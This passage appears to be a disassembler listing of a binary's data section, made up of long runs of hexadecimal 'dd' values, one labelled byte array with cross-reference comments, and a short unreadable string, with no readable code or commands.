		dd 7EF74500h, 0F428A499h, 0C1E90200h, 0E7166854h, 0A95A00B9h
		dd 7286A687h, 55006F3Eh, 0BF36C430h, 190B291h, 0F0D4F116h
		dd 3089460Dh, 0B7E874A0h
		dd 4F14DCFBh, 0E405BE0Ch, 136CC81Dh, 0F941334h,	2FA19678h
		dd 601EF5D2h, 0AA002790h, 7F5B8475h, 316D69A2h,	33F02630h
		dd 0C1B42028h, 0DAA6E10Eh, 0E4EBA0C4h, 4838BFh,	30E98950h
		dd 88B32825h, 112DF500h, 9CE4932h, 9E33034Ch, 0C460BC86h
		dd 74AC1088h, 0F22F2600h, 0D8F94395h, 0CAD90090h, 0B213944Ch
		dd 57EA3940h, 162BA71Fh, 51006BEEh, 0B3EC6B1Ch,	652F03C2h
		dd 0D2496845h, 11E5C8B8h, 90298203h, 0F01F07F8h, 105E792h
		dd 719AEBB2h, 0D0A3C22Ch, 29728BECh, 443C3A00h,	41215D2Eh
		dd 5CC00B6h, 364DBA55h,	0F14F9371h, 38008DB8h, 15CB69C8h
		dd 0EF00BE23h, 5A6AEBE2h, 0D73D7Ah, 281CAEAAh, 8F071E3Ah
		dd 0F6A40B00h, 8826F216h, 2241769h, 5BDC402Ah, 45A5DBE7h
		dd 414A480Eh, 65A782BDh, 3F20E095h, 7D080129h, 0F59EA46h
		dd 372885A6h, 3687963Ah, 0AAB314B0h, 3DB800A4h,	16FEBDC4h
		dd 7A00562Bh, 0ED10FA48h, 0F435B4h, 4F8E1804h, 0D684ADF2h
		dd 8706243Dh, 2A0335Eh,	49F00029h, 123257h, 0CDB8B031h
		dd 0D5E61C95h, 7B80DE00h, 0AF47027Ah, 57E001A2h, 1BA08DABh
		dd 330AF4D0h, 6193D20Eh, 0C436A016h, 0C0EDECh, 1496413Fh
		dd 8909508Eh, 23932B04h, 10C0986Ch, 3B157ABBh, 0A8030C2h
		dd 0E67B7C47h, 8B0EE501h, 871EE816h, 82703A74h,	3B164D9h
		dd 0F16D8373h, 9FD00E33h, 79002260h, 4113F894h,	0A9596Eh
		dd 169DFC26h, 97DE61E5h, 0ABAC1C00h, 5BC32235h,	0F7F41F51h
		dd 8FEE1F96h, 56817CECh, 0D464E28Ah, 2701FF7Dh,	0A63B1C68h
		dd 0E440A1B7h, 0E2309FBh, 2DC8C67Ch, 56EDA978h,	48321970h
		dd 0E850107Ah, 3A97BF7Ch, 8E00186Bh, 77FDB21Fh,	8F01AE5Ah
		dd 0DCF51A54h, 976179EBh, 2ED4EC0h, 0E4435FDEh,	98EB6B25h
		dd 939B34F8h, 0D9002990h, 0F5C67823h, 0EF7332h,	0B63AAB85h
		dd 656D2DE5h, 7A4BCB3Eh, 0C500EA90h, 1005B4B9h,	0F85C159Ah
		dd 174200FDh, 9D954D71h, 50F0ED37h, 0F8D33800h,	0A582C1D6h
		dd 0E4E900AEh, 22B959BCh, 0FC7E6D10h, 0EABA2800h, 80329B2h
		dd 99961F0Bh, 590400E6h, 7E605C52h, 9E6D3Fh, 0F0288D29h
		dd 0CF702Ch, 63A49DD6h,	0D244A34Eh, 2320CB03h, 0A0928126h
		dd 0A0680Eh, 0EEDDE5BCh, 0ECFD950Dh, 0CC8E7200h, 1EBA7031h
		dd 35911C0Fh, 0C2B5405Fh, 4F89D8CAh, 7A705973h,	546DA500h
		dd 0FC45ABC3h, 909101D9h, 0AE16A366h, 0BF7BF0BEh, 0F13EC00h
		dd 21F5400Bh, 0A2CD039Dh, 61860A0Dh, 719BFB91h,	98F03F83h
		dd 0BE91004Ch, 0AA3EE30Ch, 6E8B267h, 8AF86503h,	0B8C9C06Ch
		dd 0C011D490h, 77216160h, 48004EF2h, 0AD1E4674h, 20695ACAh
		dd 17000BEEh, 0A97B56DBh, 7E71722Ch, 784F0341h,	4EB8FBF8h
		dd 68BB60A7h, 56002C14h, 0C37CE488h, 0FEC7EA61h, 0F957005Dh
		dd 0BCF48EEDh, 0FB39669Dh, 2178020h, 0FC4D7611h, 7B8301ADh
		dd 7E3455FFh, 12FD4C8h,	0F1009EF6h, 9331A05Dh, 13596C12h
		dd 0BA2A1Ah, 0B8842292h, 7D78C55Eh, 0D30005E0h,	4FBD15AEh
		dd 14D7533h, 4AA079DFh,	0F49285C0h, 37701381h, 0D8637830h
		dd 1E419Ch, 0C2F03F71h,	67E55E51h, 576FDE00h, 3A16E372h
		dd 0D97019h, 4294EE36h,	9B1498B2h, 0ECEB01F6h, 0A701971Fh
		dd 5BC8D3Ah, 29E01BF5h,	9675A1h, 512056ACh, 0D723DDEAh
		dd 0F8BCB700h, 86383E0Ah, 0D500F4Fh, 8BFE5A28h,	480DAEDh
		dd 2A608CA2h, 0B53DE901h, 1F91FA49h, 528880FBh,	791C0231h
		dd 62E24CD3h, 2495E5C0h, 92369900h, 970222D4h, 88183AEAh
		dd 3EACBB28h, 6C8030ECh, 3BE603F7h, 1F009096h, 0B24F578Dh
		dd 0A2084Dh, 5363D9EDh,	946489C7h, 0AB173600h, 70BB8FF9h
		dd 0F255128Dh, 40801E68h, 0FD312772h, 9303D449h, 0ED03799Dh
		dd 3B210069h, 791AD84h,	90A0ECA3h, 600028F4h, 0CE408951h
		dd 61A8CB1Eh, 7D729834h, 0FFB84959h, 8DAA2AC0h,	76B6101Ch
		dd 0BB746E00h, 0C71E27h, 0FD36F678h, 0B385DA2Ah, 0BEAD7B03h
		dd 0C8F0CC60h, 3BC0B8D6h, 0FB8777BCh, 17D566EDh, 62CFD0B2h
		dd 9F00913Ch, 1DE2EA12h, 1EB125E5h, 40D327BCh, 570BD030h
		dd 6A03D2DBh, 0AC42224Eh, 60EB9AB5h, 14AD3Dh, 0D6237177h
		dd 10470F4h, 0BBC72F0Fh, 0DA9E87F5h, 0D4372290h, 0F9EE0F29h
		dd 0B1809D83h, 887CFB8h, 31F6DC00h, 0CE1D8F1Fh,	6D350773h
		dd 0A04A04EAh, 96604D70h, 8CC89E00h, 5E44130h, 7F3100A9h
		dd 0BB62C3F9h, 0EC00B956h, 7394DB59h, 70259B06h, 0C75D017Eh
		dd 67BD4B9Ah, 438C503Ah, 0E500DFCAh, 362BEA79h,	0E590DF6h
		dd 30DD8292h, 8AA08FAFh, 0B5F05743h, 20ACBE00h,	4BF42DA9h
		dd 56291494h, 0DC50E890h, 0E5A3288Eh, 9E4630E0h, 0F37D0568h
		dd 4AAD5A18h, 126A5129h, 305850h, 496D9F7Bh, 0BB60E0F4h
		dd 6543A421h, 0E7600ADh, 19A9EA73h, 0AB1E4EC5h,	0CC01F007h
		dd 1DA1E172h, 1F2060C4h, 3DAAA5EDh, 93E24D80h, 0AE22E5C1h
		dd 0FE09A128h, 3D009CA4h, 2AF355F6h, 13F0B4BCh,	0CA9DD2h
		dd 79A1C964h, 0B6FEAA77h, 0F500B0E2h, 0CBA21BC8h, 0FBDAFFh
		dd 1E1CB99Fh, 71BEAFA9h, 43C8F0F7h, 23109D60h, 694ADh
		dd 1487C285h, 31696680h, 68C56A00h, 0AFCA077Eh,	313B6136h
		dd 0E0BF2BD3h, 4F58D7BBh, 0CFAA008Ch, 0BC931A42h, 1CEE4C2h
		dd 0CBCA33B8h, 0EC18EFA7h, 4E00A2DEh, 79694797h, 285037Fh
		dd 3EEBC765h, 0D5E0F9F1h, 3BE05C41h, 0F594A000h, 6BB557C9h
		dd 91B3F4Ch, 28B1F901h,	0F8EB53C4h, 0A00203FDh,	7A57A32Bh
		dd 8CA0A016h, 0F4152979h, 0D05600A9h, 0AA926201h, 1F001DE6h
		dd 0BA8B114Ch, 560C045h, 4966726Eh, 0EB488088h,	3A009439h
		dd 9189588Ah, 1F16F55Fh, 810EF1BAh, 56209A2Bh, 802C2260h
		dd 450EFD13h, 0C8AC38FFh, 0E323D500h, 0FC67913Bh, 68D0CF50h
		dd 0C8617C24h, 16DA5040h, 0E01D5FEEh, 6F002805h, 6856A4D5h
		dd 74088D52h, 2F391F11h, 198980EBh, 3ED32312h, 6CABB900h
		dd 0C1BBA8A6h, 2E9301F7h, 492D365Ch, 0C016ECAFh, 0D2DD211Ch
		dd 32E32787h, 102BB820h, 82F403EBh, 26D76B44h, 572A97C0h
		dd 65203567h, 81EB7950h, 0FAEE3A4Fh, 9EF32680h,	73F59F70h
		dd 8BD8DA00h, 4F95D107h, 0B07B4D29h, 0C22FE400h, 0AEA68CEFh
		dd 557E2300h, 221EC4D0h, 4B5A3E34h, 3CC81A80h, 6CA59742h
		dd 0A968AA2Ch, 9CC37E00h, 150CB16h, 7134643Eh, 70ECD4E0h
		dd 0E7D6968h, 323A6300h, 0E2F8B179h, 0F0EE51E9h, 30DDAF0h
		dd 0B7C4023h, 24A341C5h, 369DACA0h, 1B0494Dh, 911C54C6h
		dd 85EFEB70h, 2DEF0Eh, 1350D7E8h, 0F728C04Ah, 0DD9FE440h
		dd 0F461A900h, 2898A6DFh, 2C1A01DCh, 0E642366Ch, 912AD82Dh
		dd 907E4F6h, 4C618D8h, 0F801DDD0h, 87F60Bh, 0C06529Ch
		dd 0F5EDA8CDh, 9FFA5F00h, 0B9476A6Fh, 0C098A304h, 28D2A9D5h
		dd 546C1Dh, 0F7799730h,	0AD9909B9h, 891CEF3Ah, 802612F8h
		dd 977AB701h, 0FE6B0111h, 0D130734Bh, 0FF60425Dh, 88216C9Ch
		dd 0BB9400E9h, 1CED4FE3h, 1A0EAA00h, 9A865D7Ch,	0F5A10EEBh
		dd 0E38EEA49h, 804DD5E4h, 0FFB665FAh, 7A184F24h, 0D948AF00h
		dd 2EEBC2Bh, 0B7A9E72Ch, 0DA802489h, 10E2EBA7h,	0C234C00h
		dd 2FDE98BAh, 90D5E7B7h, 0C82BB0F3h, 0E97A72h, 66AFC9FDh
		dd 0B8370C01h, 0FCF6F801h, 0E4116480h, 541927FCh, 0AD8C46h
		dd 0C50E5C2Ah, 0CD134B31h, 197C293Ah, 0C20FF55h, 0A1301531h
		dd 42B43E45h, 1EB3A11Ch
		dd 1187BF20h, 0FA6FE058h, 5FB100BCh, 0BB260A8Fh, 77822000h
		dd 1F750D4h, 56EC0006h,	0A73265EFh, 5C06C891h, 673914EDh
		dd 34B40068h, 0CBD28AE1h, 58D8C63Ah, 65E4D81h, 4B4225E9h
		dd 1C0210EDh, 79303637h, 0D108C084h, 4DD674DDh,	2D004C58h
		dd 427B362Fh, 0EC003B6Ah, 7044EBAFh, 0A1121E1Fh, 2F182E80h
		dd 0C5055C08h, 4054C499h, 865C420Fh, 961B00E9h,	3E745B8Ch
		dd 5677712Bh, 82D86A01h, 59581211h, 20C4544Ah, 0B5FF30E8h
		dd 6A2703A3h, 3F39F1BFh, 0C000B879h, 4A691256h,	0CFB4D2h
		dd 2BF3ED5Bh, 4536345Eh, 0F8D992C1h, 65D4A799h,	0BD761DCCh
		dd 7D44FA2h, 0CE6151A0h, 0AC013D82h, 4CDA7E15h,	35F47967h
		dd 52EE0030h, 850E64B0h, 0ED022BA4h, 73110F7Ch,	63C6609Ch
		dd 96E3007Bh, 9A3E4946h, 3C008672h, 0C7F11D0h, 73347C09h
		dd 33B60037h, 9D6C26F8h, 0AB00B5ADh, 0B192D7C7h, 71F62C9h
		dd 3CD5D9DAh, 5A4461E0h, 0AF19E016h, 3DE28600h,	9ADCFC0Dh
		dd 0FDD40032h, 3ED67293h, 0F870FF21h, 8AD17B01h, 0BABFCDE0h
		dd 5B20BE71h, 0D8F33D7Ch, 0AE155C80h, 82E6343Bh, 3F441B58h
		dd 0E98A80BDh, 0C92136CBh, 0AFDA0037h, 1AB35E49h, 420398A4h
		dd 7F711F8h, 24EE843h, 0D8D10434h, 0C08C266Bh, 0E8A2F90h
		dd 6C1E201h, 9741C45Ch,	6553C8h, 0A46F232Dh, 0A2F52F77h
		dd 2B7A28E4h, 0E1F24A00h, 88E73A79h, 21D5001Fh,	0EF438CD0h
		dd 15008BD4h, 0FE7D12A4h, 37DEE1h, 66F4DA59h, 4118D717h
		dd 62F16E2Eh, 4E292300h, 36FC09h, 94067459h, 0E6F4D82Fh
		dd 0FD575F00h, 0B1527AC5h, 0C951003Dh, 8BBC912Ch, 0DE078DCCh
		dd 0B507E05Dh, 832ED080h, 67C60026h, 2DFE47F6h,	4B01538Fh
		dd 52CAFB58h, 0BC406679h, 0FE01A2C6h, 0D9F0092h, 8BBFF2F8h
		dd 3D003CFEh, 0E0DE497Dh, 21D6BEh, 0B7B5C68Fh, 6AAE02E5h
		dd 7F0F901Ch, 0C0392D0Eh, 0E1D9AD24h, 0E0C77D62h, 9FF300AFh
		dd 0D85B32AEh, 92003940h, 4AF93FCBh, 64C91B21h,	808F8117h
		dd 0D0E8CC23h, 0B6C4C803h, 80E6CEE1h, 84F393h, 8E2FCB3Fh
		dd 378ACFCCh, 0E54D4500h, 0FA8FD0D6h, 0F89D1456h, 0F28926Dh
		dd 0C5290EE4h, 794092DDh, 3059FD9Ch, 0D5C3A800h, 0D2033A70h
		dd 6D1B0020h, 0ED710C4h, 67B33A4h, 0BEE1A100h, 0C7D8ABF1h
		dd 0C5F400DBh, 0FEDFF540h, 0A00DE09h, 79FB9C1Fh, 3B63E8F3h
		dd 7E80E92Fh, 0CE933BCFh, 293AA166h, 0A52E1EADh, 68187D01h
		dd 38FCF8E2h, 0DF920045h, 0E6BCF49Ah, 0A6001FA2h, 0A4ADD627h
		dd 9F2381h, 0C340634Bh,	0E83B64A8h, 911E5101h, 13F48DCDh
		dd 6EAB9080h, 9DED348Fh, 66B94300h, 0D983476Ch,	3F73FAh
		dd 0BA78DAF9h, 0FCE911Dh, 9700A0ECh, 42839A8Dh,	1FDFC172h
		dd 7CD75581h, 287A3901h, 0C8EDA2ADh, 68E219FAh,	1C0A59B0h
		dd 0D0F9816Ch, 0A600E228h, 3E896F0Dh, 0ADF5AEh,	690E3222h
		dd 0FD43558Ah, 793D7300h, 0F2B835C1h, 371D1C65h, 14BCC6C6h
		dd 54484AFAh, 2E89404Ch, 5723C701h, 9D296EF2h, 0FA04D8BCh
		dd 9087C361h, 726A1A20h, 80ACFE39h, 0B9CFBD56h,	6D8DF2h
		dd 0DF8FC587h, 0F0B45F6Ch, 0A7D17700h, 56094410h, 84F600DBh
		dd 33E669ABh, 0B3009A9Bh, 243C7B8Ah, 0B9FDF9h, 5EAD0BDDh
		dd 56208DFAh, 0E9536C00h, 0BCC41CCEh, 82900F91h, 1E200610h
		dd 0C967646Ah, 0DCF84C02h, 40895499h, 2AEE80h, 11B820C1h
		dd 796E1666h, 0C0E8CD07h, 7510E558h, 403A54h, 0A4E11763h
		dd 2505F3FDh, 520AB907h, 7441EC2Dh, 0E500E939h,	854CD6A5h
		dd 0B4A70025h, 725956D9h, 0A6EE0754h, 0A05E610Fh, 25CA2D1Fh
		dd 0DAA90800h, 36E7A267h, 16B40097h, 98BB0DC0h,	6F00CECBh
		dd 0CCA941ACh, 0E6894D2Ch, 453F003Bh, 12440C91h, 7E00ADF6h
		dd 69D775DBh, 0A187F57Fh, 4560410Ch, 0E8890030h, 2574EB66h
		dd 0A004F8Ch, 2E8F4075h, 1257F0h, 5AED28CFh, 5D2729CEh
		dd 9CEE941Fh, 0D801EB80h, 30E2D774h, 4CE856FCh,	6D80F95Dh
		dd 0C9D400A1h, 62D8D568h, 771EFEC3h, 710099EAh,	0CF5D9C8Bh
		dd 0F4D900D7h, 0C80E4CF1h, 10C06D38h, 95394F48h, 0F95B002Dh
		dd 21D05052h, 9C0CBE1Dh, 291E8FCDh, 0B2BC48C1h,	0C699650Ch
		dd 2700E6B2h, 21D391C7h, 2ACE3E87h, 0EAB8A323h,	55FE18h
		dd 0EA8EF12Eh, 2FD1F445h, 0CB41E600h, 771A5EFFh, 0A9A5006Ch
		dd 3106AD5Dh, 810FC216h, 1C6F57Ah, 0F685864Eh, 6E8245F5h
		dd 0C8BACC2Ah, 0D84DC480h, 0CD263C4Eh, 7A1FF25Dh, 967580BEh
		dd 6FF44630h, 13AC0060h, 2B246E81h, 0A4066835h,	5BB6364h
		dd 69F02D10h, 700114F8h, 955DA15Eh, 0EC402A7Fh,	0FE858AC0h
		dd 7D1876BFh, 1780076h,	391E62E3h, 53E45B26h, 30A8700h
		dd 38731990h, 5121017Bh, 2FA9600Fh, 858CFCBCh, 194AF800h
		dd 325ED315h, 6A4D00AAh, 0FF8E967Ah, 0C00306Bh,	0A7168B52h
		dd 0A84B0Dh, 0D8466E2Ch, 0D1662703h, 7636F900h,	0D7EAF107h
		dd 0B03000AAh, 0DE2FB868h, 0FC001356h, 0B15C753Dh, 5C3C31B3h
		dd 9700853Ah, 0CFC93F04h, 2400EB89h, 0DF75D66Ch, 0E59A8F4h
		dd 0CAE08E26h, 0E2B06920h, 0A0F6D939h, 0A431D803h, 0D91ED1F8h
		dd 3FD00509h, 0BE3D01B7h, 1BC788B1h, 71F9F44Ch,	74BF9C01h
		dd 0A9C31C9Dh, 394B7FCh, 24E67FE9h, 0E4F89B5Bh,	0A598FB74h
		dd 0D8A5B205h, 51C135B7h, 2880E626h, 0C1D2EDC3h, 0FA1E25C6h
		dd 80FC6F33h, 0BE3F90AAh, 407D78h, 5416BC47h, 0CF08D011h
		dd 0E193800h, 51AC6C94h, 0E8820044h, 0F7213FAAh, 8E4DF2DDh
		dd 0E65B0E60h, 0D35A27F5h, 0B11AD250h, 1CF287h,	4BF64FC2h
		dd 29F0985Bh, 6902B00h,	45A9488Eh, 860D0B7Bh, 0F980B3DAh
		dd 0DCC596B6h, 0F36A2B00h, 0B2B7AF3Ch, 2A97FF0h, 492786Ch
		dd 0B4C8F5D9h, 167CCA7Ch, 75480203h, 0C0ACA199h, 12E8A47Ah
		dd 0C7E6672h, 1FA0C604h, 55FB6E0Ch, 740E20F4h, 0C188075Dh
		dd 878FC7DDh, 1A8BC0A5h, 5100C584h, 0FD6F45BEh,	0DA05B3h
		dd 0BBE2DCA4h, 2177CD76h, 0CC56550Dh, 0EECC589Ah, 0D0454816h
		dd 75387603h, 15A1FE46h, 2971F4h, 5ED11D40h, 1B420F00h
		dd 0CFE7D7A3h, 0FA38022Fh, 0D55C1CCBh, 0BB472880h, 31588BD8h
		dd 3FEA1D46h, 6772E901h, 6851167Eh, 0BCF4F507h,	0AEA4007Bh
		dd 0DDE67D3Fh, 8038575Eh, 3DA90010h, 1451CA62h,	0BE5C00EFh
		dd 9B8458FBh, 923933FCh, 7D218064h, 67E674F2h, 0BEE40083h
		dd 695E816Fh, 3F0026A0h, 8761085Ch, 7F8AC92h, 90FAEA42h
		dd 0E657B051h, 365803B4h, 0C1FC00D0h, 7CC260Ch,	276400C5h
		dd 0F56EE593h, 1004EB1h, 0DE5B9F7Ah, 3D1B6Dh, 33520FB6h
		dd 0F7FBE618h, 0BF00B7E6h, 38A21227h, 0DD9990h,	3476C503h
		dd 1717CF1h, 0A16BDA0Eh, 81C96965h, 2C87406h, 0B51CCh
		dd 343CEF64h, 0CB2A105Dh, 989A2DF2h, 0FC8EEE00h, 0E980B86Eh
		dd 64160A6Fh, 1AB2EDEh,	5970CD8Bh, 115D49Fh, 5F405503h
		dd 0A6A60620h, 7EE440h,	39C4F17Ch, 5734115Ch, 0A52A2D00h
		dd 6AEF5590h, 56FD3814h, 0EC358900h, 0F39557C5h, 0B80170EEh
		dd 8E05F045h, 33718A3Ah, 0A727DC10h, 0A0484CC4h, 0F2EB007Ah
		dd 0B8FD0A1Eh, 0C2333932h, 0F0CD38A2h, 3C565A50h, 93006A8Ah
		dd 0FF1CF9Ch, 7525230Ah, 153400D8h, 0D1F8A06h, 90989156h
		dd 83689FB9h, 88EDB700h, 0DDD518h, 1D9A5193h, 21A6DC46h
		dd 251F4703h, 80079DA3h, 75AA149h, 7503FCA7h, 98F4D043h
		dd 0D70021E1h, 24A3F5D3h
		dd 0E41025Ah, 48925BC5h
		db 0A0h
byte_530055	db 81h,	3Fh, 14h	; DATA XREF: ___:off_43D314o
					; ___:off_43D32Co
aCL2cSy		db 'CÆL\2c',9,'˜Y',0
		dw 6120h
		dd 1B7040ABh, 9A755381h, 241FA370h, 0BBD437h, 5C7B52C0h
		dd 0FC876Ah, 925A2541h,	0F2D9B0DDh, 3C040D84h, 9DA1FC90h
		dd 3ED03820h, 0C2851878h, 0A7DF406Ch, 449BD718h, 58A829h
		dd 0E3C516D2h, 7BCCFF3Ch, 0AD30E670h, 0CE0B20A7h, 0F37D0046h
		dd 80F6C895h, 0C60681FEh, 2C7918DAh, 0DDA50261h, 3FFC980Ah
		dd 4992BAE0h, 58B38F18h, 0FAD11E20h, 0A2BB0070h, 682E462Fh
		dd 850B9DACh, 80C64ADBh, 0B2DEFFB6h, 959907FCh,	0C298BCA3h
		dd 0ABE342A1h, 868089D2h, 7E715974h, 0C9E1BE00h, 0ACA5A4D1h
		dd 1DBB0B80h, 0C580AA5Eh, 0B0871E8Bh, 0D600B673h, 5684D511h
		dd 826235h, 93C4575Fh, 0C8752645h, 27BC7400h, 0B773404h
		dd 89F800E1h, 5FDEB8C9h, 0ED3F4AD3h, 7E0E72AEh,	69F4A129h
		dd 0A7C280A2h, 0BBFCC0h, 11A8D535h, 96C75F05h, 0A3B90E00h
		dd 0C94182ADh, 49780071h, 1A1BB0E0h, 0F73E53E8h, 2D3D4Ah
		dd 0DEE146A5h, 31B9715Eh, 90E6A380h, 101EF08Ah,	0C14A4400h
		dd 0F932387Ch, 4D413C0Fh, 8780E23Fh, 0A965DEE7h, 5D63039Eh
		dd 71399F08h, 89920320h, 0C9F28A4Ch, 46A364F0h,	5A8D0F00h
		dd 0E40E9013h, 0F8C533C6h, 0A800AC80h, 291D0A4Dh, 0C0E94A9h
		dd 0E7E039ECh, 0E1BD6A20h, 29801691h, 32D1A9E1h, 0A607A384h
		dd 0C39B2C47h, 804043h,	0D1D08120h, 0F61C13DDh,	0B42EEC72h
		dd 0D200150Dh, 6D243F25h, 61401DCh, 1E4C0BE9h, 4E4DEC0Eh
		dd 0C1C0BCA3h, 1400E182h, 0AEF3D452h, 3A5A0D3Eh, 0D3303D09h
		dd 52326421h, 0E78A2200h, 31587D0Bh, 830E0693h,	88FFA955h
		dd 0FB360C9h, 8A6080AEh, 4CB0EBh, 0E8023340h, 0F32BFC5Eh
		dd 0CCE5EA7Ah, 76005B18h, 0EC89E539h, 81B48Ch, 0D33586E1h
		dd 5B413DA1h, 712E2390h, 0F1006D20h, 56D69F1Fh,	539E0059h
		dd 3EFAFC46h, 0E4EB5441h, 9400C7F2h, 0FD825FF6h, 268B1658h
		dd 137AF52Bh, 5DEA07AEh, 4100F938h, 0C23A8427h,	5118B87Bh
		dd 5571A25Eh, 57F24h, 0F36281CFh, 2FEF9A68h, 0F2CE570Eh
		dd 691980AFh, 0C6D4FDh,	0E19173FBh, 352ED3FCh, 84643C00h
		dd 0F87EFE92h, 4D1E01A7h, 0F196F2BFh, 0FAA06FD5h, 801803B9h
		dd 8D397A55h, 0C087F8EBh, 286F139Ch, 0F30F3D18h, 453A788h
		dd 116504F1h, 10AC031h,	99F4D2B0h, 68C93803h, 0B05ED856h
		dd 660398h, 58457C71h, 26E7AA2Ch, 0C1B058C0h, 4CC49Fh
		dd 61DF068Ch, 327CBB4Eh, 1DF96E38h, 0B940BA43h,	75D7CADEh
		dd 0A25C0EA0h, 0A78AFF12h, 837E008Ch, 0F87D4136h, 446EF14h
		dd 8B007898h, 0E6ECC82Dh, 0AA9A07h, 0A4D7EE9Fh,	0C608640Ch
		dd 0D5C53D0Ah, 0B800B80Dh, 0E00F0A07h, 925C00A1h, 44EF6AA6h
		dd 25003DBFh, 529EAFCDh, 7DB2AAh, 35A41A8Ah, 84B66C28h
		dd 1F2EA500h, 0EB70E663h, 0CC440385h, 545F9848h, 2E1814A0h
		dd 0C1BEE03h, 0C00367F2h, 22FD11Ch, 196471FEh, 46E02BF1h
		dd 10C16FFFh, 0EBAE8013h, 0F5477D0h, 3F8CB39Dh,	81248A80h
		dd 0F07607Ah, 59F11BB2h, 41C2F280h, 4A8F0071h, 4E2FA8C5h
		dd 62071ED7h, 3A48CE02h, 3BB42C60h, 0F99308Eh, 735B4F70h
		dd 61CC950Fh, 0AABC421Fh, 1E6FC135h, 38861961h,	0E81CDBC0h
		dd 234FEF00h, 679546F9h, 3D7F015Bh, 6E0DC629h, 0BFF3E404h
		dd 717AA815h, 6B76008Ch, 0DF49ACDDh, 0E9F903D4h, 199A1113h
		dd 0EB615000h, 6E271571h, 6DFC00C1h, 85F3AFBEh,	0B100167Dh
		dd 926CE8FAh, 1F5D65C5h, 8080435Bh, 995A9C28h, 1B010B86h
		dd 307DE9AEh, 65E9EAF8h, 3F28ECh, 0ACF09C01h, 0E7E21179h
		dd 0A725AD07h, 3A40EEF9h, 80D78Dh, 0A1530975h, 8443FEFFh
		dd 6C45B318h, 9AFC60h, 0E66B7D58h, 0EF41AFBCh, 18B2423Ah
		dd 2B208496h, 79820057h, 0BDC42D1Eh, 56007658h,	104B06B7h
		dd 1880A08Ah, 905E9392h, 0C100E9FDh, 4DD7FE2Ah,	0C0E2210h
		dd 7AFF920Fh, 1C18F770h, 302042DEh, 70FC714Dh, 0C410C017h
		dd 5ADDCA43h, 0A57A78C0h, 353BBEBh, 71E0F017h, 830A9DAh
		dd 0B31B2191h, 3B8271D0h, 0DA80791Dh, 743EB920h, 0FC18F743h
		dd 158294Fh, 0C1FB5C7Dh, 9EB36400h, 2F954032h, 8A7E7176h
		dd 19C5BB00h, 6F58CADFh, 0BC9F0F7Fh, 8E9E12C8h,	994F5286h
		dd 0E9B9A440h, 380F0BB2h, 0C0FA61DAh, 6C96A05Fh, 3ED80007h
		dd 59B57D10h, 0A400535Eh, 374A1C3Ch, 1FD540C2h,	8090F5C4h
		dd 0C1AB699Ah, 5100EA24h, 5F133D72h, 1CFDA5AEh,	2CC4366h
		dd 0CD09F321h, 27A5C58h, 54303600h, 87C09234h, 0C5E700F1h
		dd 0E356FF55h, 0EF00EE9Ch, 1F2FA1A9h, 1FB0222h,	95D71E01h
		dd 0F0B08BBCh, 761E802Bh, 0E500D6ACh, 0FC11A675h, 0AAAF009Dh
		dd 4E6B39DBh, 6D0E45D8h, 9C46A98Ah, 0A020FDD9h,	5CF8F0h
		dd 33BE6AB9h, 0A79F507h, 0CAA34800h, 20EE1780h,	57EF001Bh
		dd 0CCB2D7F8h, 18D872FEh, 74CE5B7Ch, 0FF0A00B8h, 0E0D797BDh
		dd 11036B7Bh, 0D1337CE8h, 21FEE9h, 2C3A3DBAh, 7467427Fh
		dd 0B2BF1C00h, 0E4D24C31h, 7AC51F5Bh, 9E1802Bh,	0D16BAA94h
		dd 80D5200Fh, 0BFA780FBh, 1C323CEh, 73F416D4h, 0E42FF840h
		dd 6601D17Fh, 0FFC89841h, 44E07058h, 8DD40037h,	8FA834A0h
		dd 0AB740564h, 0F84EEF44h, 0CF740115h, 210FEEDCh, 5D188059h
		dd 0FAD0A990h, 316EE4Ah, 0F917CD9Ch, 20185CE3h,	0E4084C7Ch
		dd 0BDB70081h, 0F056EA0h, 89FAF208h, 0AC8B000h,	6D903DC4h
		dd 4B222E67h, 2B8A0605h, 5001E955h, 96233A60h, 91C90145h
		dd 59D93FF5h, 0A68A2180h, 73E3C73Ah, 461A0C06h,	3AB9F2CAh
		dd 9B000E4Ah, 6304D6F4h, 150727FCh, 1E828CE8h, 994674F3h
		dd 884B65F8h, 37C0F0C8h, 3940ADDFh, 7B80FCFBh, 16771C48h
		dd 990076F9h, 0ED1C5E2h, 7B28A2Ch, 0E6DFF297h, 0C0E865B0h
		dd 0E41183E1h, 0ECCC2E01h, 69746C89h, 9660EADDh, 0EFC83A5Ah
		dd 8EF4F0h, 6B02C6F4h, 6AB66293h, 0D54B0300h, 182E88B2h
		dd 0C60F0CF1h, 9808F7AFh, 0F5206B60h, 1A88B8h, 7E7FF818h
		dd 4A64B0AEh, 0D41CC67Fh, 6347B56Bh, 42C07598h,	1DB6E890h
		dd 8EB8783h, 0A0070C6h,	6506757Dh, 0AC2016CFh, 85090067h
		dd 0B3F8C6B0h, 456CC96Eh, 4C40633Dh, 17F488BCh,	0C00D42A1h
		dd 2288BAEFh, 43703FAh,	0AEB0AF61h, 4A517105h, 504002C4h
		dd 445E75EAh, 70E94320h, 3AF04B40h, 8C807597h, 0E01BDE05h
		dd 0E92A2AB8h, 3E5298ADh, 888B1F4Ch, 0EB91784h,	0C5017A2Ch
		dd 6F23E88h, 9840C32Dh,	507C592Bh, 71E6285Bh, 80845058h
		dd 38D0FEDDh, 52808877h, 0A7725B8Eh, 7C00690Dh,	0CE15993Ch
		dd 1D6D969Fh, 448CECAFh, 0C7E96434h, 696FA0F3h,	150086A9h
		dd 0AA255B12h, 1CCAF287h, 0ECF03Bh, 1EF4FE7Ah, 4DFA8B68h
		dd 0DC5F8D00h, 60F263C7h, 3F2F007Eh, 39D07A8Ch,	921F870Ch
		dd 3D40412Ch, 95BAC69Bh, 0BD8C003Eh, 59C4B256h,	15011166h
		dd 8FE0487h, 818362F4h,	0F8B7DFE9h, 207843C1h, 860C3BEh
		dd 0A1C7B629h, 36A90F68h, 0CE209B1Ah, 64D819C2h, 2D338D00h
		dd 40D463CDh, 0BA6A3C46h, 0FBE7F080h, 0E1688E8Fh, 6BB07B06h
		dd 12501B5Ch, 42E0FFh, 24CC7026h, 0B6012FF2h, 2B480117h
		dd 0E0C086E8h, 0D0430063h, 885B9F78h, 0FD38ABE4h, 1BC80003h
		dd 0DC6F869Dh, 9F85C93h, 603B0F38h, 0D7189230h,	0C0C3AE1h
		dd 0C183A2B8h, 0D4B989D1h, 0E9002F0Dh, 4416559Dh, 0C4961E03h
		dd 120963A0h, 7445C700h, 3CCF75C4h, 4C802089h, 95F329DEh
		dd 0D1F0E005h, 0E37C0125h
